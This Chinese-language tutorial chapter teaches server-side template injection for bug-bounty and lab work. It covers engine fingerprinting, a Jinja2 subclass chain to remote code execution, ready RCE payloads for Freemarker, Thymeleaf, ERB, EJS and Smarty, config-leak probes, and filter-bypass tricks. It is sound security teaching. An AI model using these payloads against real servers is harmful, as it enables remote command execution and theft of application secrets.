第 98 章 SSTI 模板注入(Server-Side Template Injection)
SSTI = 用户输入被当作"模板代码"执行。从信息泄露到 RCE 的桥——是 SRC 高危漏洞常客,也是"探测→利用"链条最清晰的漏洞之一。本章覆盖 SSTI 原理、引擎识别、payload 构造、RCE 利用链。
📍 知识点地图 | 主题:SSTI | 前置:第58章 | 后续:— | 核心概念:引擎识别、Jinja2链、RCE payload、绕过
98.1 SSTI 原理(先懂为什么)
模板引擎: 服务端把"模板+数据"渲染成 HTML
正常: 模板是开发者写的,数据是用户提供的
SSTI: 用户输入进入了"模板"部分(被当成代码执行)
示例(Jinja2/Python):
正常: render_template("Hello {{ name }}", name=user_input)
漏洞: 如果 name 直接拼进模板字符串 → 用户输入被当模板代码
检测: 输入 {{7*7}} → 输出 49 → 存在 SSTI!
98.2 引擎识别(决定 payload)
检测三连
1. 基础探测: {{7*7}} ${7*7} <%= 7*7 %> #{7*7}
→ 哪个输出了 49 → 命中引擎族
2. 语法确认(区分引擎):
{{7*'7'}} → 49(Jinja2/Twig: 乘字符串=重复)
${7*'7'} → 7777777(Freemarker: 字符串连接)
<%= 7*'7' %> → 报错或 7777777(ERB: 类型敏感)
3. 引擎指纹:
报错信息(常泄露引擎名和版本)
特定语法特征
主流引擎速查
| 引擎 | 语言 | 特征语法 | RCE 难度 |
|---|---|---|---|
| Jinja2 | Python | {{ }} | ★★(利用链成熟) |
| Twig | PHP | {{ }} | ★★ |
| Freemarker | Java | ${ } | ★★ |
| Velocity | Java | #set / $ | ★★★ |
| Thymeleaf | Java | th: 属性 | ★★ |
| ERB | Ruby | <%= %> | ★★★ |
| EJS | JS | <%= %> | ★★ |
| Smarty | PHP | {$ } | ★★ |
98.3 Jinja2 利用链(最成熟,重点学)
从对象到 RCE 的通用链
Jinja2 的对象模型: 一切皆对象,可从任意对象回溯到 Python 基类
经典链(寻找可利用类):
{{ ''.__class__ }} # <class 'str'>
{{ ''.__class__.__mro__ }} # 方法解析顺序(到 object)
{{ ''.__class__.__mro__[1].__subclasses__() }} # object 的所有子类
→ 在子类列表中找到可利用类:
subprocess.Popen / os.system 相关类
warnings.catch_warnings(经典: 有 __init__.__globals__)
标准 RCE payload
# 经典利用(找到 subprocess 或通过 catch_warnings 访问 os)
{{ ''.__class__.__mro__[1].__subclasses__() }} # 列出索引
# 自动查找 subprocess.Popen 并执行
{{ ''.__class__.__mro__[1].__subclasses__()[<idx>]('id',shell=True,stdout=-1).communicate() }}
# 通用提权链(任何版本可用性高):
# 找 warnings.catch_warnings → __init__.__globals__ → 内置模块 → subprocess
{{ ''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
# (索引因版本而异,需要动态测试)
信息泄露(RCE 之前先试试)
{{ config }} # Flask 配置(可能含密钥)
{{ self.__init__.__globals__ }} # 全局变量
{{ request.application.__globals__ }} # 应用上下文
{{ lipsum.__globals__ }} # 内置函数全局(os 常在这里)
98.4 各引擎 RCE payload 速查
Freemarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity:
#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
...(经典 Runtime.exec 链)
Thymeleaf:
__${T(java.lang.Runtime).getRuntime().exec('id')}__
ERB(Ruby):
<%= system('id') %>
EJS:
<%= process.mainModule.require('child_process').execSync('id') %>
# 新版: global.process.mainModule 可能为 undefined → 需其他链
Smarty:
{system('id')} 或 {php}system('id');{/php}
98.5 绕过过滤(WAF 场景)
□ 关键字过滤: 拼接('cl'+'ass')/编码/unicode
□ 点号过滤: ['attr'] 下标访问
□ 括号过滤: filter 管道替代
□ 引号过滤: request 属性取值
□ 黑名单: 找替代属性(__getattribute__ → getattr)
示例(Jinja2 无点访问):
{{ ''['__cla''ss__'] }} # 字符串拼接绕过
{{ request|attr('application') }} # attr 过滤器替代点
98.6 检测与利用流程(完整)
1. 找模板渲染入口:
□ 报错回显(模板错误信息)
□ 用户输入进页面(搜索/用户名/导出文件名)
□ 邮件模板/PDF 生成/导出功能(常是 SSTI 重灾区)
2. 基础探测: {{7*7}} 等
3. 引擎识别(语法/报错/指纹)
4. 信息泄露尝试(config/globals)
5. RCE 链构造(按引擎)
6. 验证: 命令输出回显
7. 记录: 入口+payload+输出
98.7 检查清单
□ 模板渲染入口识别
□ 基础探测({{7*7}} 等)
□ 引擎识别(语法+指纹)
□ 信息泄露(config/全局)
□ RCE 链(按引擎)
□ 绕过过滤(如需)
□ 影响评估(文件读/RCE/密钥)
□ 报告: 入口+payload+输出
动手练习
- 本地搭 Flask+Jinja2 的 SSTI 靶场(输入拼进模板),完成"探测→识别→RCE"全流程。
- 练习 3 个引擎(Jinja2/Freemarker/ERB)的 payload 构造(用在线靶场)。
- 构造一个绕过"点号过滤"的 Jinja2 payload(用下标/attr 替代)。
- 分析一个真实 SSTI 报告(HackerOne 公开),标注它的引擎和利用链。
深入阅读
- 仓库:
CTF-Sandbox-Orchestrator/competition-template-render-path/(模板渲染 CTF 子技能) - 仓库:
CTF-Sandbox-Orchestrator/competition-template-render-path/references/template-render-path.md(渲染链检查清单) - 仓库:
skills/pentest-tools/SKILL.md(SSTImap 自动检测) - 仓库:
skills/pentest-tools/references/web-attack-cheatsheet.md(配合 Web 测试) - 外部: PortSwigger SSTI 研究(权威)、SSTImap